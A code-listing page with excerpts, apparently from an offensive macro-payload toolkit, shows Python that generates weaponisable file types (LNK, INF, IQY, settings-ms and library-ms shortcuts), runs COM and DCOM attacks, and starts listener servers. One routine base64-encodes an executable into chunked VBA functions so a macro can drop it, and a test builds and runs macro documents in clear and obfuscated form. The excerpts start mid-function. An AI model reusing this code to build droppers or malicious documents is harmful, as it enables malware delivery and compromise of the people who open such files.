            generator = UrlShortcutGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.GLK:
            generator = GlkGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.LNK:
            generator = LNKGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.SETTINGS_MS:
            generator = SettingsShortcutGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.LIBRARY_MS:
            generator = LibraryShortcutGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.INF:
            generator = InfGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.IQY:
            generator = IqyGenerator(mpSession)
            generator.run()

        #run com attack
        if mpSession.runTarget:
            generator = ComGenerator(mpSession)
            generator.run()

        #run dcom attack
        if mpSession.dcom:
            generator = DcomGenerator(mpSession)
            generator.run()

        # Activate Web server
        if mpSession.listen:
            listener = ListenServer(mpSession)
            listener.run()

        if mpSession.Wlisten:
            Wlistener = WListenServer(mpSession)
            Wlistener.run()

    except Exception:
        logging.exception(" [!] Exception caught!")

    logging.info(" [+] Cleaning...")
    shutil.rmtree(working_directory)

    logging.info(" Done!\n")

    sys.exit(0)
Example #29
0
    def _processEmbedExeTemplate(self):
        # open file containing template values
        cmdFile = self.getCMDFile()
        if cmdFile is None or cmdFile == "":
            logging.error("   [!] Could not find template parameters!")
            return
        f = open(cmdFile, 'r')
        valuesFileContent = f.read()
        f.close()
        params = shlex.split(
            valuesFileContent
        )  # split on space but preserve what is between quotes
        inputExe = params[0]
        outputPath = None
        if len(params) > 1:
            outputPath = params[1]
        else:
            outputPath = utils.randomAlpha(5) + os.path.splitext(inputExe)[1]
        logging.info("   [-] Output path when exe is extracted: %s" %
                     outputPath)

        #OPEN THE FILE
        if os.path.isfile(inputExe):
            todo = open(inputExe, 'rb').read()
        else:
            logging.error("    [!] Could not find %s" % inputExe)
            return

        #ENCODE THE FILE
        logging.info("   [-] Encoding %d bytes" % (len(todo), ))
        b64 = base64.b64encode(todo).decode()
        logging.info("   [-] Encoded data is %d bytes" % (len(b64), ))
        b64 = b64.replace("\n", "")

        x = 50000
        strs = [b64[i:i + x] for i in range(0, len(b64), x)]
        for j in range(len(strs)):
            ##### Avoids "Procedure too large error with large executables" #####
            strs[j] = self._formStr("var" + str(j), strs[j])

        sub_proc = ""
        for i in range(len(strs)):
            sub_proc = sub_proc + "Private Function var" + str(
                i) + " As String\n"
            sub_proc = sub_proc + "" + strs[i]
            sub_proc = sub_proc + "\nEnd Function\n"

        chunksDecode = ""
        for l in range(len(strs)):
            chunksDecode += "\tDim chunk" + str(l) + " As String\n"
            chunksDecode += "\tchunk" + str(l) + " = var" + str(l) + "()\n"
            chunksDecode += "\tout1 = out1 + chunk" + str(l) + "\n"

        content = templates.EMBED_EXE
        content = content.replace("<<<STRINGS>>>", sub_proc)
        content = content.replace("<<<DECODE_CHUNKS>>>", chunksDecode)
        content = content.replace("<<<OUT_FILE>>>", outputPath)
        #top + next + then1 + sub_proc+ sub_open
        # generate random file name
        vbaFile = os.path.abspath(
            os.path.join(self.workingPath,
                         utils.randomAlpha(9) + ".vba"))
        logging.info("   [-] Template %s VBA generated in %s" %
                     (self.template, vbaFile))
        # Write in new file
        f = open(vbaFile, 'w')
        f.write(content)
        f.close()
        os.remove(cmdFile)
        logging.info("   [-] OK!")
Example #30
0
def testVBGenerators():
    """ 
    will run test of MS Office and VBS based formats 
    The tests consist into creating the documents, then running them triggering a file creation macro. Then checking the file is well created
    The tests are run in both cleartext and obfuscated mode.
    
    """
    result = True
    vbaTestFile = "testmacro.vba"
    logging.info(" [+] Build macro test file...")
    with open(vbaTestFile, 'w') as outfile:
        outfile.write(VBA)
    for testFormat in MSTypes.VB_FORMATS:
        testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
        try:
            logging.info(" [+] Testing generation of %s file..." % testFormat)
            os.system("%s %s -f %s -G %s -q" %
                      (sys.executable, MP_MAIN, vbaTestFile, testFile))
            assert (os.path.isfile(testFile))
            logging.info("   [-] Success!\n")

            if testFormat not in [MSTypes.VBA, MSTypes.SCT]:
                logging.info(" [+] Testing run of %s file..." % testFormat)
                if testFormat in MSTypes.MS_OFFICE_FORMATS:
                    os.system("%s %s  --run=%s -q" %
                              (sys.executable, MP_MAIN, testFile))
                else:
                    os.system("cmd.exe /c %s" % (testFile))
                # Check result
                assert (os.path.isfile(fileToGenerate))
                with open(fileToGenerate, 'rb') as infile:
                    content = infile.read().decode('utf-16')
                #logging.info("Content:|%s|  - fileToGenerateContent:|%s|" % (content, fileToGenerateContent))
                assert (content == fileToGenerateContent)
                testSummary[testFormat + " in Clear Text"] = "[OK]"
                logging.info("   [-] Success!\n")
                os.remove(fileToGenerate)

        except:
            result = False
            testSummary[testFormat + " in Clear Text"] = "[KO]"
            logging.exception("   [!] Error!\n")

        if os.path.isfile(testFile):
            os.remove(testFile)

        testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
        try:
            logging.info(" [+] Testing generation of %s obfuscated file..." %
                         testFormat)
            os.system("%s %s -f %s -G %s -o -q" %
                      (sys.executable, MP_MAIN, vbaTestFile, testFile))
            assert (os.path.isfile(testFile))

            logging.info("   [-] Success!\n")

            if testFormat not in [MSTypes.VBA, MSTypes.SCT]:
                logging.info(" [+] Testing run of %s obfuscated file..." %
                             testFormat)
                if testFormat in MSTypes.MS_OFFICE_FORMATS:
                    os.system("%s %s  --run=%s -q" %
                              (sys.executable, MP_MAIN, testFile))
                else:
                    os.system("cmd.exe /c %s" % (testFile))
                # Check result
                assert (os.path.isfile(fileToGenerate))
                with open(fileToGenerate, 'rb') as infile:
                    content = infile.read().decode('utf-16')
                assert (content == fileToGenerateContent)
                logging.info("   [-] Success!\n")
                testSummary[testFormat + " obfuscated"] = "[OK]"
                os.remove(fileToGenerate)

        except:
            result = False
            testSummary[testFormat + " obfuscated"] = "[KO]"
            logging.exception("   [!] Error!\n")

        if os.path.isfile(testFile):
            os.remove(testFile)

    os.remove(vbaTestFile)
    return result